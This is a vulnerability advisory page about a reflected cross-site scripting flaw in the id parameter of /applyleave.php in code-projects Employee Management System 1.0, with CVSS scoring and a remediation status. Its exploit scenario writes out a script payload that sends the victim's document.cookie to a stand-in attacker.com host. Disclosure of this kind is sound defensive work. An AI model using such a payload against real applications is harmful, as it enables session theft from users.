DescriptionCVE.org

A vulnerability was determined in code-projects Employee Management System 1.0. This affects an unknown function of the file /applyleave.php. Executing a manipulation of the argument ID can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

AnalysisAI

Reflected cross-site scripting in code-projects Employee Management System 1.0 allows remote unauthenticated attackers to inject arbitrary JavaScript into victim browsers via the unsanitized id parameter in /applyleave.php. The attack requires victim interaction (UI:P per CVSS 4.0), meaning a victim must visit or be socially engineered into clicking a crafted URL. …

Hypothetical attack flow derived from CVE metadata

Access
Identify exposed /applyleave.php endpoint
Delivery
Craft malicious URL with XSS payload in id parameter

Execution
Victim clicks link and browser renders unsanitized response
Persist
Injected script executes in victim's browser session
Impact
Exfiltrate session cookie or perform authenticated action

Vulnerability AssessmentAI

Exploitation The vulnerable endpoint `/applyleave.php` must be reachable by the attacker (AV:N), and the `id` URL parameter must be reflected unsanitized in the server's HTML response - this is the direct technical precondition. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 2.1 reflects the limited real-world impact: AV:N (network-reachable) and AC:L/AT:N (no complexity or preconditions) indicate ease of reaching the vulnerable endpoint, but PR:N/UI:P means no authentication is needed yet victim interaction is mandatory - a meaningful friction point. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a URL targeting the vulnerable endpoint such as `/applyleave.php?id=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>` and delivers it via phishing email or message to an employee using the application. When the victim clicks the link and their browser renders the unsanitized response, the injected script executes in the context of the Employee Management System origin, potentially exfiltrating session cookies or performing actions on behalf of the victim. …
Remediation No vendor-released patch identified at time of analysis - code-projects has not published a security advisory or patched release for this CVE as of the available data. … Detailed patch versions, workarounds, and compensating controls in full report.
